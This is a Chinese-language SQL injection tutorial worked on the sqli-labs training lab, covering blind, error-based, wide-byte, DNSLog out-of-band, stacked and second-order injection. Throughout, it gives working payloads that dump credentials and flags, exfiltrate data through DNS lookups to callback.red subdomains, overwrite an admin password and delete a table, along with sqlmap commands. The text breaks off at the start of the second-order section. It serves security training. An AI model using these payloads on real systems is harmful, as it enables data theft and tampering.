获取表名长度

获取第一个表的长度:

1?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),1)%23

image

获取其他表的长度:

1?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6,sleep(3),1)%23
2
3?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6,sleep(3),1)%23
4
5?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=6,sleep(3),1)%23
获取表名

使用ascii函数和延迟函数获取第一个表名每一个字符:

1?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),1)%23
2
3?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109,sleep(3),1)%23
4
5?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97,sleep(3),1)%23
6
7?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=105,sleep(3),1)%23
8
9?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=108,sleep(3),1)%23
10
11?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=115,sleep(3),1)%23

image

成功得到第一个表名:emails

获取其他表名,只需要更改limit函数参数即可。

获取列

统计列的个数

由于无法看到有多少列,为了避免无效查询,所以先获取列的数量。

使用count()函数统计数据表中包含的记录列的总数,或者根据查询结果返回列中包含的数据行。

1?id=1' and if((select (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=2),sleep(3),1)%23

image

成功得到当前数据库下emails表中有两列值

获取列名长度

获取第一个表的长度:

1?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=2,sleep(3),1)%23

image

获取第二个表的长度:

1?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 1,1))=8,sleep(3),1)%23

image

获取列名

使用ascii函数获取第一个列名每一个字符:

1?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(3),1)%23
2
3?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),2,1))=100),sleep(3),1)%23

image

得到第一个列名:id

获取第二个表的列名,只需要更改limit函数的参数即可。

获取数据

经过上述查询,已经得到:

1数据库:security
2表:emails
3列:id,email_id
统计记录行

由于无法看到有多少行的数据,为了避免无效查询,所以先获取数据的行数。

1?id=1' and if((select count(id) from emails)=8,sleep(3),1)%23

image

因此得到有8行的数据

获取数据长度

获取第一行emild_id数据的长度:

1?id=1' and if(length((select email_id from emails limit 0,1))=16,sleep(3),1)%23

image

得到第一行email_id的长度是16位

获取第二行emild_id数据的长度:

1?id=1' and if(length((select email_id from emails limit 1,1))=16,sleep(3),1)%23
获取数据内容

使用ascii函数获取数据的详细内容:

1?id=1' and if(ascii(substr((select email_id from emails limit 0,1),1,1))=68,sleep(3),1)%23

image

得到数据的第一位为:D

然后就是更改substr函数的参数,挨个字符进行测试。

获取第二行的数据时,只需要更改limit的参数即可。

报错注入

sqli-labs->Less-5

报错注入是SQL注入的一种,页面上没有显示位,但是会输出SQL语句执行错误信息。报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面的情况下比较好用。

原理

由于开发人员在开发程序时使用了print_r()mysql_error()mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以人为地使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息。

报错注入利用条件是网站开启了 SQL 报错日志功能,否则无法使用报错注入,具有一定的局限性。

首先打印错误日志是关键,接着利用mysql特性bug通过报错带出我们的注入的结果。

利用了 MySQL 的第 8652 号 Bug:MySQL Bugs: #8652: group by part of rand() returns duplicate key error,来进行的盲注,使得 MySQL 由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果

常用函数

可以导致报错的函数mysql支持十多种,这里重点学习利用xml报错的两个函数。

mysql5.1.5开始提供两个用于XML查询和修改的函数,通过XML函数进行报错,来进行注入。

updatexml()

用于更新 XML 文档中的特定元素。适用版本是:MySQL 5.1.5+

1updatexml(xml_target, xpath_expr, new_xml)
2
3- xml_target:要替换的xml文档,类型:字符串型
4- xpath_expr:xpath路径,类型:字符串型
5- new_xml:要更新替换的内容,类型:字符串型
6- 这三个参数的类型必须都是字符串

命令:

1/*正常命令,以两个 // 开头的是正确的路径*/
2select updatexml(1,'//xml',3);
3
4/*当输入错误的路径时就会报错,注意路径开头必须是特殊的字符,mysql才会报错*/ 
5select updatexml(1,'xml',3);
6select updatexml(1,'~xml',3);

image

extractvalue()

从xml文档中提取元素

1extractvalue(xml,xpath)
2
3- xml:xml文档
4- xpath:xml文档路径

命令:

1/*正常命令,以两个 // 开头的是正确的路径*/
2select extractvalue(1,'//xml');
3
4/*当输入错误的路径时就会报错,注意路径开头必须是特殊的字符,mysql才会报错*/ 
5select extractvalue(1,'xml');
6select extractvalue(1,'~xml');

image

concat()

由于xpath的路径必须是一个字符串,如果是一个函数类型,报错会失败:

1select updatexml(1,'~database()',3);

image

语句出错,因为这里的select database()的结果不是一个符合类型的xml-path,不是字符串类型,所以需要将其转换成字符串类型。

使用concat()函数:

1concat(str1,str2....) 
2//将一个或多个字符串按顺序连接成一个新的字符串

构造新的命令:

1select updatexml(1,concat('~', (SELECT database())), 3);

image

成功带出数据库

group_concat()

由于concat()函数无法将多行合并为一行,如果查询的结果是多行数据,可以用group_concat()函数将多行数据合并到一行。

substr()

xpath报错的内容最多只有32个字符,超出的就不会显示。此时可以使用substr()这个函数截取显示。

1SUBSTR(str, pos, len)
2
3- str:要截取的字符串
4- pos:起始位置(从1开始计数)
5- len:要提取的字符数(可选)

比如:

1select updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1);

image

1select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1,31)), 1);
2
3select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32,31)), 1);
4
5select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),63,31)), 1);

image

报错带出库名

sqli-labs->Less-5 为例

1?id=1' union select updatexml(1,'~database()',3);--+
2?id=1' union select extractvalue(1,'~database()');--+

image

显示有语法错误,这是因为 database() 的结果不是一个有效的xpath路径,路径要求是字符串类型,可以使用 concat() 函数进行拼接成字符串。

1concat(str1,str2....) 
2//将一个或多个字符串按顺序连接成一个新的字符串

构造新的命令:

1?id=1' union select updatexml(1,concat('~',database()),3);--+
2?id=1' union select extractvalue(1,concat('~',database()));--+

image

如果是想要查询全部的数据库:

1?id=1' union select updatexml(1, concat('~', (SELECT schema_name FROM information_schema.schemata)), 1)--+

会发现语句报错

image

这是因为查询出来的数据包含多行,因此使用GROUP_CONCAT()函数将多行数据进行连接,变成一个字符串,构造新命令:

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(schema_name) FROM information_schema.schemata)), 1)--+

image

又发现一个问题:没显示完全,原因:updatexml()函数最长能显示报错的信息是32位。

使用就需要使用 substr() 函数进行内容长度的截取

1SUBSTR(str, pos, len)
2
3- str:要截取的字符串
4- pos:起始位置(从1开始计数)
5- len:要提取的字符数(可选)

进行构造新命令:

1?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)), 1)--+
2?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1,31)), 1)--+
3?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32)), 1)--+
4?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),32,31)), 1)--+
5
6?id=1' union select extractvalue(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)))--+
7?id=1' and extractvalue(1, concat('~', substr((SELECT group_concat(schema_name) FROM information_schema.schemata),1)))--+

报错带出表名

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())), 1)--+
2?id=1' union select updatexml(1, concat('~', substr((SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),1)), 1)--+
3
4?id=1' union select extractvalue(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())))--+
5?id=1' and extractvalue(1, concat('~', (SELECT group_concat(table_name) from information_schema.tables where table_schema=database())))--+

image

报错带出列名

1?id=1' union select updatexml(1, concat('~', (SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag_is_here')),3)--+
2
3?id=1' and extractvalue(1, concat('~', (SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag_is_here')))--+

image

报错带出数据

1?id=1' union select updatexml(1, concat('~', (select group_concat(flag) from flag_is_here)),3)--+
2?id=1' union select updatexml(1, concat('~', substr((select group_concat(flag) from flag_is_here),1)),3)--+
3?id=1' union select updatexml(1, concat('~', substr((select group_concat(flag) from flag_is_here),31)),3)--+
4
5?id=1' and extractvalue(1, concat('~', substr((select group_concat(flag) from flag_is_here),1)))--+

image

如果过滤了引号,可以使用十六进制表示法,将数据库名转为十六进制字符串,比如security的十六进制字符串为0x7365637572697479

宽字节注入

宽字节注入(Wide-Character Injection) 是一种 SQL 注入攻击形式,攻击者利用不同编码的字符(如GBK 或 UTF-8 编码)插入到应用程序的输入中,从而绕过某些安全过滤或检测机制。具体来说,攻击者通过使用“宽字符”(即多字节字符)来构造恶意输入,使得应用程序或数据库在处理这些输入时产生意外行为,进而导致 SQL 注入攻击的成功。

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,则称为宽字节。像GB2321、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两个字节。英文默认占一个字节,中文占两个字节。

原理

大多数的网站对于SQL注入都做了一定的防护,例如使用一些MySQL中转义的函数addslashesmysql_real_escape_stringmysql_escape_string等(还有一种是php配置文件 的magic_quote_gpc设置,不过PHP高版本已经移除此功能)。

addslashes()函数:返回在预定义字符之前添加反斜杠的字符串

magic_quotes_gpc选项:对 POST、GET、Cookie 传入的数据进行转义处理,在输入数据的特殊字符如单引号、双引号、反斜线、NULL等字符前加入转义字符\,在高版本 PHP 中(>=5.4.0)已经弃用。

mysql_real_escape_string()函数:函数转义 SQL 语句中使用的字符串中的特殊字符。

mysql_escape_string()函数:和mysql_real_escape_string()函数基本一致,差别在于不接受连接参数,也不管当前字符集设定。

宽字节注入指的是MySQL数据库在使用宽字节(如GBK)编码时,它会把两个字节的字符解析为一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围)而不是两个英文字符,而且当我们输入'时,MySQL会调用转义函数,将单引号变为\',其中\的十六进制是5c,MySQL的GBK编码,会认为%df%5c是一个宽字节,也就是運,从而使单引号闭合(逃逸),进行注入攻击。

%df是GBK编码字符首字节对应0x81-0xfe(129-239)部分(尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)),所以输入一个ascii大于128的都可以,转换是将其转换成16进制,比如:129转换0x81,然后在前面加上%就是%81(URL编码用百分号加字符的16进制编码表示字符),比如一些%df' %81' %82' %de' 等等(只有满足要求即可)

宽字节注入的本质是开发者设置数据库编码与代码(如php)编码为不同的编码格式从而导致。

字符编码:UTF-8 ,GBK,比如说UTF-16.

UTF-8:一个字符占用1-4个字节

UTF-16:一个字符占用4个字节

GBK:一个字符占用2个字节

ASCII: 一个字符占用1个字节。

GB18030,BIG5 GB2312:占用2个字节。

1正常情况:
21' and 1=1--+
31\' and 1=1--+
4
5宽字节注入:
61%df' and 1=1--+
71%df\' and 1=1--+
8%df%5c%27

SQL执行过程

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

    1使用每个数据字段的CHARACTER SET设定值;
    2若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
    3若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
    4若上述值不存在,则使用character_set_server设定值。
  3. 将操作结果从内部操作字符集转换为character_set_results。

    宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码,然后服务器会根据character_set_connection把请求进行转码,从character_set_client转成character_set_connection,然后更新到数据库的时候,再转化成字段所对应的编码
    数据变化的过程:

    1%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
    2用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

当这行代码mysql_query("SET NAMES gbk");在代码层被写入时,三个字符集(客户端、连接层、结果集)都是GBK编码。

注入示例

以sqli-labs->Less-32为例

输入1',addslashes函数将'进行转义变为\',此时的单引号仅作为普通的字符。

1?id=1'

image

输入1%df'

image

addslashes函数将'进行转义变为\'\ 即url里面的%5c , ' 对应的url编码是%27,那么也就是说,%df' 会被转义 %df%5c%27 ,倘若mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。此时%df%5c会进行结合(因为宽字节是占两个字节,且在汉字编码范围内两个编码为一个汉字)变成了一个汉字,单引号逃逸出来,从而绕过转义,SQL查询语句成功被改变了从而引起了报错。

其过程简化如下:

1%df%27===>(addslashes)===>转为16进制===> 0xdf0x5c0x27====>%df%5c%27====>(GBK)====>運'
2
3用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

接下来使用常规思路构造payload获取数据库名等

获取列数

11%df'order by 3--+

获取回显位

1-1%df'union select 1,2,3--+

image

获取库名

1-1%df' union select 1,database(),3 --+
2
3获取所有数据库
4-1%df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

image

获取表名

1-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

报错,因为,引号被转义

image

1-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(database())),3--+

image

获取列名

1-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name=(select table_name from information_schema.tables where table_schema=(database()) limit 3,1)),3--+
2
3# limit 3,1 截取表,例如查看flag表:limit 1,1

image

1-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(database()) and table_name=(select table_name from information_schema.tables where table_schema=(database()) limit 1,1)),3--+

image

获取数据

1-1%df' union select 1,flag,3 from flag_is_here--+

image

或者:

1-1%df' union select 1,(select group_concat(username,0x5e,password) from users),3--+

image

结合报错函数注入

11%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

image

获取表名:

11%df' and updatexml(1,concat(0x7e,(select (group_concat(table_name))from information_schema.tables where table_schema=(database())),0x7e),1)--+

获取users字段名:

12%df' and updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_schema=(select database())and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1)),0x7e),1)--+

获取数据:

1?id=2%df' and updatexml(1,concat(0x7e,(select (password)from security.users limit 7,1 ),0x7e),1)--+

sqlmap

unmagicquotes.py 是专门进行宽字节绕过脚本

获取数据库:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py --dbs

获取表名:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" --tables

获取列名:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" -T "flag_is_here" --columns

获取数据:

1sqlmap -u "http://192.168.1.21/sqli/Less-32/?id=1" --tamper=unmagicquotes.py -D "security" -T "flag_is_here" --dump

image

拓展

连接层

MySQL中存在一个中间层结构负责客户端和服务器之间的连接,称为连接层

字符集转换流程

  1. 客户端(如PHP)以文件默认编码生成SQL语句发送至MySQL服务器

  2. MySQL服务器将SQL语句转为连接层字符集

  3. 转换过程依赖两个关键变量:

    • character_set_client:客户端的字符集
    • character_set_connection:连接层的字符集

转换执行流程

  1. PHP将SQL语句以character_set_client编码(转为16进制数)
  2. 将16进制数以character_set_connection进行编码(转换为url编码)
  3. 内部操作时进行url解码
  4. 最终以character_set_results编码输出结果

内部操作字符集的确定(优先级从高到低)

  1. 使用每个数据字段的CHARACTER SET设定值
  2. 若字段没有设定,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展功能)
  3. 若表也没有设定,则使用对应数据库的DEFAULT CHARACTER SET设定值
  4. 若数据库也没有设定,则使用character_set_server设定值

关键变量说明

  • character_set_client:告知MySQL服务器客户端发送的数据使用的字符集
  • character_set_connection:服务器将客户端数据转换为此字符集进行内部处理
  • character_set_results:服务器返回查询结果时使用的字符集
  • character_set_server:服务器默认字符集(当其他层级未明确指定时使用

查看编码

1use security;
2show variables like 'char%';
3show create table users;

image

当代码中指定了SET NAMES 'gbk'等同于如下:

  • character_set_client 客户端使用的编码,如GBK, UTF8 比如你写的sql语句是什么编码的。

  • character_set_results 查询返回的结果集的编码(从数据库读取的数据是什么编码的)。

character_set_connection 连接使用的编码:

image

DNSLog注入

首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件。

通俗说就是有个域名 test.com,将域名设置对应的ip 2.2.2.2上,当向dns服务器发起test.com的解析请求时,DNSlog中会记录下他给test.com解析,解析值为 2.2.2.2,而这个解析的记录的值就是要利用的地方,这个过程被记录下来就是DNSlog。

DNSLog平台

DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。

DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。

DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。

在线DNSLog平台:CallBack.Red Dns、Http、Rmi、Ldap Log、CmdtoDNSLog

自己搭建:首先需要有一个可以配置的域名,比如:a.com,然后通过代理商设置域名 a.com 的 nameserver (NS记录)为自己的服务器 B,然后再服务器B上配置好 DNS Server,这样以来所有 a.com及其子域名的查询都会到 服务器 B上,这时就能够实时地监控域名查询请求了。

image

B服务器运行DNS解析服务程序,作为DNS域名服务器,接受来自53端口的DNS解析请求,并将DNS query继续递归查询,完成昀终查询,相当于一个DNS query proxy的作用。

NS(Name Server):NS记录是域名服务解析记录,NS用来指定该域名由哪个DNS服务器来进行解析,可以把一个域名的不同二级域名分别指向到不同的DNS系统来解析。

A记录:A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录

回显原理

ping 命令的时候会用到DNS解析,首先获取一个dnslog地址 uwj5.callback.red

执行 ping %username%.uwj5.callback.red,然后点击刷新,可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和uwj5.callback.red拼接起来,最后ping命令执行将p0w3r.uwj5.callback.red.一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。

image

应用场景

显错注入(有回显点的),盲注(注入的效率低且线程高容易被waf拦截)

关键函数:Load_file(),用于读取文件并返回其内容为字符串

LOAD_FILE函数是MySQL提供的一个内置函数,用于读取本地文件内容并返回其内容为字符串。如果文件不存在或无法读取,则返回NULL,其基本语法如下:

1LOAD_FILE(str)
2LOAD_FILE(file_name)
3
4- file_name:必须是文件的完整路径,比如:D:/test.txt
5此外还支持UNC路径,此为Windows独有的:\\win7test\share\file.txt

image

UNC路径(Universal Naming Convention,通用命名规则)是一种用于标识网络资源的命名规范,主要用于局域网内的资源访问。它提供了一种标准化的方式来引用网络上的共享文件夹和文件。

UNC路径的基本格式为:

1\\servername\sharename
2
3- servername 是服务器的名称。
4- sharename 是共享资源的名称。

如访问共享文件(这种用反斜杠是微软喜欢反着来,在微软文件夹里查询需要反斜杠)

如果要在url中用正斜杠//,如果硬要用反斜杠,得另外加反斜杠来转义,unc路径就要四个反斜杠\\\\

UNC实例及解读://xclay.net/share/张三/账单.docs

如果访问上述UNC路径的话,就会得到xclay.net 服务器的share共享文件夹下的张三文件夹下的账单.docs文件

前提条件

  1. 存在注入点
  2. 拥有数据库的root权限,普通权限是没办法执行load_file()这个函数的。
  3. 数据库具有文件读写权限:secure_file_priv 权限。
  4. MySQL服务器具备请求URLL,或者是请求网络的权限。
  5. 必须要是Windows服务器环境:UNC路径是windows特有的

因为请求远程地址的时候,要用UNC路径,使用 // 开头,或者 \\\\ 开头

MySQL 的secure_file_priv系统变量会限制导入 / 导出文件的操作范围。

查看 secure_file_priv 权限:SHOW VARIABLES LIKE 'secure_file_priv';

image

修改mysql的配置文件my.ini或者mysql.ini,添加:

1secure_file_priv = ""

其他:

  • secure_file_priv=null:默认,不允许 MySQL 导入导出;
  • secure_file_priv=/tmp/:仅允许 /tmp/ 目录下的导入导出;
  • secure_file_priv = "":导入导出无限制;

实操

以Sqli-labs Less-9 为例,不管输入啥,只显示 You are in.....

image

为什么选择DNSLog注入?

如果进行盲注的话,sleep判断,length判断,substr截取,ascii判断 ,会非常麻烦。

首先获取一个dnslog地址:8lax.callback.red,因为请求的是远程地址,所以要用UNC路径,使用 // 开头,或者 \\\\ 开头,所以前面需要使用concat函数进行拼接。话不多说,直接开注。

常规测试一下,是否存在注入:

11' and load_file(concat('//',(select database()),'.8lax.callback.red'))--+

image

发现并没有结果,这是为什么?

使用UNC路径的时候,需要符合其语法标准,也就是路径中必须加文件名,存在与否不相干。

因此:

11' and load_file(concat('//',(select database()),'.8lax.callback.red/abc'))--+

image

获取数据库

由于load_file()一次只能传输一条数据 ,所以需要limit

1?id=1' and load_file(concat('//',(select schema_name from information_schema.schemata limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select schema_name from information_schema.schemata limit 1,1),'.8lax.callback.red/abc'))--+

image

image

获取表名

由于load_file()一次只能传输一条数据 ,所以需要limit

1?id=1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.8lax.callback.red/abc'))--+

image

image

获取列名

1?id=1' and load_file(concat('//',(select column_name from information_schema.columns where table_name='flag_is_here' limit 0,1),'.8lax.callback.red/abc'))--+

image

获取数据

1?id=1' and load_file(concat('//',(select flag from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

这时会发现没有记录,这是怎么回事,原来域名里有一个规则,只能出现数字,字母,下划线;所以在获取到的信息中包含了其他特殊符号时,load_file就会认为是一个错误的域名,就不会去从网络中解析了。

可以使用hex编码

1?id=1' and load_file(concat('//',(select hex(flag) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

发现还是没有记录,又发生了什么这是?

原来域名有一个限制:每段不能超过63个字符,超出长度就不解析了,并且总域名长度不能超过253个字符。

那好办,加一个截取函数:

1?id=1' and load_file(concat('//',(select substr(hex(flag),1,63) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select substr(hex(flag),64,63) from flag_is_here limit 0,1),'.8lax.callback.red/abc'))--+

image

image

进行解码,成功得到flag:

image

group_concat

除了使用concat函数之外,还可以使用group_concat函数,需要注意的是,group_concat函数默认使用 "," 连接查询到的数据,然而,不能出现在域名中,所以可以利用 . (点号) 也可以用 _(下划线)进行拼接,建议的话用点好比较好,防止数据库库名中本身存在下划线。

或者通过正则替换将replace中的 “,”全部替换为 “ _ ”或 .

1?id=1' and load_file(concat('//',(select substr(group_concat(schema_name separator '_'),1,63) from information_schema.schemata),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(table_name separator '_'),1,63) from information_schema.tables where table_schema=database()),'.1bjt.callback.red/abc'))--+

image

此时,用_分割就不如用.更加美观

1?id=1' and load_file(concat('//',(select substr(group_concat(table_name separator '.'),1,63) from information_schema.tables where table_schema=database()),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(column_name separator '.'),1,63) from information_schema.columns where table_name='flag_is_here'),'.1bjt.callback.red/abc'))--+

image

1?id=1' and load_file(concat('//',(select substr(group_concat(flag separator '.'),1,63) from 'flag_is_here'),'.1bjt.callback.red/abc'))--+

因为flag中包含{}为特殊字符,所以进行Hex编码

1?id=1' and load_file(concat('//',(select substr(hex(group_concat(flag separator '.')),1,63) from flag_is_here),'.1bjt.callback.red/abc'))--+
2
3?id=1' and load_file(concat('//',(select substr(hex(group_concat(flag separator '.')),64,63) from flag_is_here),'.1bjt.callback.red/abc'))--+

image

image

进行解密:

image

堆叠注入

原理

在 SQL 语法中,分号 ; 表示一条语句的结束。如果数据库和后台代码允许在一个 API 调用中执行多条语句,攻击者就可以利用这一点。

1mysql> select * from users where id = 1;select version();
2+----+----------+----------+
3| id | username | password |
4+----+----------+----------+
5|  1 | Dumb     | Dumb     |
6+----+----------+----------+
71 row in set (0.00 sec)
8
9+-------------------------+
10| version()               |
11+-------------------------+
12| 5.5.44-0ubuntu0.14.04.1 |
13+-------------------------+
141 row in set (0.00 sec)

正常场景: 后台代码只希望执行一条查询:

堆叠注入场景: 攻击者输入 1; DELETE FROM users,构造成:

1SELECT * FROM users WHERE id = 1; DELETE FROM users;

数据库执行完第一句查询后,紧接着执行第二句删除表的操作。

与联合注入相比,堆叠注入最明显的差别便是它的权限更大了,例如使用联合注入时,后端使用的是 select 语句,那么我们注入时也只能执行 select 操作,而堆叠查询是一条新的 SQL 语句,不受上一句的语法限制,操作的权限也就更大了

特性 UNION 注入 堆叠注入
核心限制 必须由SELECT语句组成。 可以执行任意类型的语句。
列数要求 前后查询的列数、数据类型必须一致。 没有列数或类型的限制。
主要目的 窃取数据(查看数据库里的内容)。 破坏或篡改(添加管理员、删除数据、开启系统命令)。
语句示例 ... UNION SELECT user, pass ... ... ; INSERT INTO admins ...

利用条件

堆叠注入能否成功,不完全取决于数据库本身,主要取决于应用程序用来连接数据库的“驱动”或“API”配置,并且在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。

  • MySQL + PHP

    • 旧版的 mysql_query() 函数不支持多条语句(防堆叠)。
    • 新版的 mysqli_multi_query() 或 PDO 驱动可能支持(取决于配置)。
    • 因此,在很多 PHP 网站中,堆叠注入无法使用。
  • Java (JDBC)

    • 默认情况下通常允许,或者配置较为宽松。
  • SQL Server (MSSQL) & PostgreSQL

    • 这两者对多语句执行的支持非常友好,堆叠注入在这些环境中非常常见且危险。
  • Oracle

    • 通常不支持直接在动态 SQL 中使用堆叠注入,除非是在特定的 PL/SQL 块中,利用难度极高。

实操

以sqli-labs 第 38 关为例

image

判断注入点

测试参数id:

1?id=1
2?id=1'

image

image

判断闭合方式

1?id=1'%23

image

判断列数

1?id=1' union select 1,2,3%23

image

获取回显点

1?id=-1' union select 1,2,3%23

image

获取数据库

1?id=-1' union select 1,database(),@@version%23

image

获取表名

1select group_concat(table_name) from information_schema.tables where table_schema=database()
2
3?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

image

获取列

获取当前数据库下users表的列名

1select group_concat(column_name) from information_schema.columns where table_name='users'
2
3?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

image

获取数据

获取当前数据库users表的username、password数据:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 from users%23

image

可以看到当前admin的密码是admin

堆叠注入

使用堆叠语句将admin用户的密码改为test123456:

1?id=1';update users set password='test123456' where username='admin';%23

image

再次查询admin用户的数据:

1?id=-1'union select 1,group_concat(username,':',password SEPARATOR ','),3 where username='admin' from users%23

image

密码被成功更改,堆叠注入成功。

二次注入

原理

二次注入(又称存储型 SQL 注入)是一种隐蔽性很强的注入攻击。与普通注入(一次注入)不同,它的攻击过程分为两个阶段:

  1. 存入阶段(第一阶): 攻击者构造恶意的 Payload(如包含单引号 ' 的字符串)。应用程序在接收数据时,虽然进行了转义(如使用 mysql_real_escape_string),导致 Payload 无法立即触发注入,但它被原样(或去转义后)存储到了数据库中。
  2. 执行阶段(第二阶): 应用程序在后续的业务逻辑中,从数据库取出这个恶意数据,并将其拼接到了新的 SQL 查询语句中。此时,如果应用程序没有再次进行过滤或参数化处理,恶意的 SQL 语句就会被执行。

利用条件

知道数据库中的列名且使用了magic_quote_gpc等对引号进行过滤

实操

以sqli-labs 第 24 关为例

image

目录